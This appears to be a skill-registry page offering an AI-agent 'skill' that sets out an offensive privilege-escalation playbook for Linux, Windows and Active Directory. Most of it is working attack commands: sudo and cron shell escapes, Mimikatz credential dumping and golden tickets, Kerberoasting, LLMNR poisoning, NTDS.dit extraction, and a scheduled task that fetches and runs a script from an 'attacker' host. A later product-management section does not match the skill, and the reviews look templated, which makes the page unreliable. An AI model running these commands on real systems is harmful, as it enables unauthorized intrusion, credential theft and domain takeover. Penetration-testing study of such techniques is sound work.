privilege-escalation-methods

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

davila7/claude-code-templatesUpdated May 21, 2026

Works with

Claude CodeCursorClineWindsurfCodexGooseGitHub CopilotZed

3

total installs

3

this week

24.2K

GitHub stars

0

upvotes

Install Skill

Run in your terminal

$npx skills add https://github.com/davila7/claude-code-templates --skill privilege-escalation-methods

3

installs

3

this week

24.2K

stars

Installation Guide

How to use privilege-escalation-methods on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your machine
  • Node.js 16+ with npm — verify with node --version
  • Active project directory where you want to add privilege-escalation-methods
2

Run the install command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills add https://github.com/davila7/claude-code-templates --skill privilege-escalation-methods

Fetches privilege-escalation-methods from davila7/claude-code-templates and configures it for Cursor.

3

Select Cursor when prompted

The CLI shows a list of agents. Use arrow keys and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ────────────────
│ · Cline · Codex · Goose · Windsurf
│ ●Cursor(selected)
│ · Cursor · Aider · Continue
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/privilege-escalation-methods

Restart Cursor to activate privilege-escalation-methods. Access via /privilege-escalation-methods in your agent's command palette.

Security Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.

Documentation

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

  • Initial low-privilege shell access on target system
  • Kali Linux or penetration testing distribution
  • Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
  • Understanding of Windows/Linux privilege models
  • For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

  • Root or Administrator shell access
  • Extracted credentials and hashes
  • Persistent access mechanisms
  • Domain compromise (for AD environments)

Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abusing Scheduled Tasks (Cron)

# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p

3. Abusing Capabilities

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL Running as Root

# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Windows Privilege Escalation

1. Token Impersonation

# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Service Abuse

# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abusing SeBackupPrivilege

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abusing SeLoadDriverPrivilege

# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abusing GPO

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory Attacks

1. Kerberoasting

# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

2. AS-REP Roasting

.\Rubeus.exe asreproast

3. Golden Ticket

# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500

4. Pass-the-Ticket

.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket

5. Golden Ticket with Scheduled Tasks

# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"

Credential Harvesting

LLMNR Poisoning

# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico

NTLM Relay

responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support

Dumping with VSS

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

Quick Reference

Technique OS Domain Required Tool
Sudo Binary Abuse Linux No GTFOBins
Cron Job Exploit Linux No Manual
Capability Abuse Linux No getcap
NFS no_root_squash Linux No mount
Token Impersonation Windows No SweetPotato
Service Abuse Windows No PowerUp
Kerberoasting Windows Yes Rubeus/Impacket
AS-REP Roasting Windows Yes Rubeus
Golden Ticket Windows Yes Mimikatz
Pass-the-Ticket Windows Yes Rubeus
DCSync Windows Yes Mimikatz
LLMNR Poisoning Windows Yes Responder

Constraints

Must:

  • Have initial shell access before attempting escalation
  • Verify target OS and environment before selecting technique
  • Use appropriate tool for domain vs local escalation

Must Not:

  • Attempt techniques on production systems without authorization
  • Leave persistence mechanisms without client approval
  • Ignore detection mechanisms (EDR, SIEM)

Should:

  • Enumerate thoroughly before exploitation
  • Document all successful escalation paths
  • Clean up artifacts after engagement

Examples

Example 1: Linux Sudo to Root

# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: Windows Kerberoasting

# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

Troubleshooting

Issue Solution
sudo -l requires password Try other enumeration (SUID, cron, capabilities)
Mimikatz blocked by AV Use Invoke-Mimikatz or SafetyKatz
Kerberoasting returns no hashes Check for service accounts with SPNs
Token impersonation fails Verify SeImpersonatePrivilege is present
NFS mount fails Check NFS version compatibility (vers=2,3,4)

Additional Resources

For detailed enumeration scripts, use:

  • LinPEAS: Linux privilege escalation enumeration
  • WinPEAS: Windows privilege escalation enumeration
  • BloodHound: Active Directory attack path mapping
  • GTFOBins: Unix binary exploitation reference

List & Monetize Your Skill

Submit your Claude Code skill and start earning

Get started →

Use Cases

User Story & Requirements Generation

Create detailed user stories, acceptance criteria, and feature specs

Example

Generate user stories for 'password reset feature' with acceptance criteria, edge cases, and test scenarios

Reduce spec writing time by 50%, ensure comprehensive coverage

Competitive Analysis

Research competitors, compare features, identify gaps

Example

Analyze 5 competitor products, create feature comparison matrix, suggest differentiation opportunities

Complete competitive research in 2 hours instead of 2 days

Roadmap Prioritization

Evaluate features using frameworks (RICE, ICE, Kano) and create prioritized backlogs

Example

Score 20 feature ideas using RICE framework, generate prioritized roadmap with rationale

Make data-driven prioritization decisions faster

Stakeholder Communication

Draft PRDs, status updates, and stakeholder presentations

Example

Create executive summary of Q3 roadmap, monthly progress report, feature launch announcement

Save 3-5 hours/week on communication overhead

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client
  • Access to product documentation and roadmap tools (Jira, Notion, etc.)
  • Understanding of product management frameworks (RICE, Jobs-to-be-Done, etc.)
  • Stakeholder contact information and communication channels

Time Estimate

30-60 minutes to see productivity improvements

Steps

  1. 1Install product management skill
  2. 2Start with user story generation for known feature
  3. 3Progress to competitive analysis: research 2-3 competitors
  4. 4Use for roadmap prioritization: apply RICE/ICE scoring
  5. 5Draft stakeholder communications and refine based on feedback
  6. 6Build template library for recurring PM tasks
  7. 7Share effective prompts with product team

Common Pitfalls

  • Not validating competitive research—verify facts before sharing
  • Accepting user stories without involving engineering team
  • Over-relying on frameworks without qualitative judgment
  • Not customizing outputs to company culture and communication style
  • Skipping stakeholder validation of generated requirements

Best Practices

✓ Do

  • +Validate research and competitive analysis with real data
  • +Collaborate with engineering when generating technical requirements
  • +Customize frameworks and templates to your company context
  • +Use skill for first drafts, refine with stakeholder input
  • +Document successful prompt patterns for PM tasks
  • +Combine AI efficiency with human judgment and intuition

✗ Don't

  • Don't publish competitive analysis without fact-checking
  • Don't finalize user stories without engineering review
  • Don't make prioritization decisions solely on AI scoring
  • Don't skip customer validation of generated requirements
  • Don't ignore company-specific context and culture

💡 Pro Tips

  • Provide context: company goals, constraints, customer feedback
  • Ask for alternatives: 'Show 3 ways to prioritize this roadmap'
  • Request stakeholder-specific formatting: 'Executive summary vs. engineering spec'
  • Use skill for 70% generation + 30% customization to company needs

When to Use This

✓ Use when

Use for user story writing, competitive research, roadmap prioritization, stakeholder communication, and PRD drafting. Best for reducing repetitive documentation and research work.

✗ Avoid when

Avoid for strategic product vision (requires deep customer empathy), pricing decisions (needs market and financial expertise), or when face-to-face customer discovery is more valuable than speed.

Learning Path

  1. 1Basic: user stories, feature specs, status updates
  2. 2Intermediate: competitive analysis, prioritization frameworks, PRDs
  3. 3Advanced: product strategy, go-to-market planning, OKR setting
  4. 4Expert: product vision, market positioning, business model innovation

Related Skills

Reviews

4.573 reviews
  • M
    Maya MalhotraDec 28, 2024

    privilege-escalation-methods has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • A
    Aanya BansalDec 20, 2024

    privilege-escalation-methods reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • S
    Sofia ShahDec 16, 2024

    Registry listing for privilege-escalation-methods matched our evaluation — installs cleanly and behaves as described in the markdown.

  • C
    Chaitanya PatilDec 12, 2024

    We added privilege-escalation-methods from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • M
    Meera GarciaDec 12, 2024

    Solid pick for teams standardizing on skills: privilege-escalation-methods is focused, and the summary matches what you get after install.

  • A
    Anaya NasserDec 12, 2024

    We added privilege-escalation-methods from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • L
    Luis TandonDec 12, 2024

    Useful defaults in privilege-escalation-methods — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • L
    Luis ReddyNov 19, 2024

    Useful defaults in privilege-escalation-methods — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • A
    Anaya MenonNov 11, 2024

    I recommend privilege-escalation-methods for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

  • D
    Daniel DesaiNov 7, 2024

    Solid pick for teams standardizing on skills: privilege-escalation-methods is focused, and the summary matches what you get after install.

showing 1-10 of 73

1 / 8

Discussion

Comments — not star reviews
  • No comments yet — start the thread.